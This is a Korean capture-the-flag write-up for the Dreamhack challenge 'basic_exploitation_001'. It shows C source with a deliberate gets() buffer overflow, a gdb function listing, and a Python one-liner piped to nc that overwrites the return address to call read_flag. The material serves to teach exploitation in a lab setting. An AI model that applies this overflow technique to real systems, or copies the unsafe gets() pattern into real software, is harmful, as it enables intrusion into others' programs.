

# basic\_exploitation\_001

다운 받은 c파일을 열어보장!

```
Start here X basic_exploitation_001.c X
1  #include <stdio.h>
2  #include <stdlib.h>
3  #include <signal.h>
4  #include <unistd.h>
5
6
7  void alarm_handler() {
8      puts("TIME OUT");
9      exit(-1);
10 }
11
12
13 void initialize() {
14     setvbuf(stdin, NULL, _IONBF, 0);
15     setvbuf(stdout, NULL, _IONBF, 0);
16
17     signal(SIGALRM, alarm_handler);
18     alarm(30);
19 }
20
21
22 void read_flag() {
23     system("cat /flag");
24 }
25
26 int main(int argc, char *argv[]) {
27
28     char buf[0x80];
29
30     initialize();
31
32     gets(buf);
33
34     return 0;
35 }
36
```

옹 이번에는 read\_flag라는 함수가 있당! 저 함수를 실행시키면 flag값을 얻을 수 있을거 같  
다!

basic\_exploitation\_000과는 다르게 gets로 받지만 이 함수 역시 문자열을 답을 공간의 길  
이와 입력받은 문자열의 길이를 확인하지 않기 때문에 bof취약점을 가진 함수이다.

이번에는 128(buf의 크기) + 4(sfp주소)만큼 쓰레기 값을 넣어주고 그 뒤에 read\_flag함수  
의 주소값을 넣어서 return address값을 바꿔주면 될 것 같다.

먼저 gdb로 read\_flag함수의 주소값을 찾아보장

```
leede@leede: ~/dreamhack
Reading symbols from basic_exploitation_001...
(No debugging symbols found in basic_exploitation_001)
gdb-peda$ set disassembly-flavor intel
gdb-peda$ info func
All defined functions:

Non-debugging symbols:
0x08048398  _init
0x080483d0  gets@plt
0x080483e0  signal@plt
0x080483f0  alarm@plt
0x08048400  puts@plt
0x08048410  system@plt
0x08048420  exit@plt
0x08048430  __libc_start_main@plt
0x08048440  setvbuf@plt
0x08048450  __gmon_start__@plt
0x08048460  _start
0x08048490  __x86.get_pc_thunk.bx
0x080484a0  deregister_tm_clones
0x080484d0  register_tm_clones
0x08048510  __do_global_dtors_aux
0x08048530  frame_dummy
0x0804855b  alarm_handler
0x08048572  initialize
0x080485b9  read_flag
0x080485cc  main
0x080485f0  __libc_csu_init
0x08048650  __libc_csu_fini
```

그럼 132바이트 만큼 쓰레기 값을 주고 `0x080485b9` 를 리틀에디안 방식으로 넣어주면!

```
(python -c 'print"a"*132+"\xb9\x85\x04\x08"; cat') | nc host1.dreamhack.games 11622
```

답이 나온다~~

```
leede@leede:~/dreamhack$ (python -c 'print"a"*132+"\xb9\x85\x04\x08"; cat') | nc
host1.dreamhack.games 11622
DH{
leede@leede:~/dreamhack$
```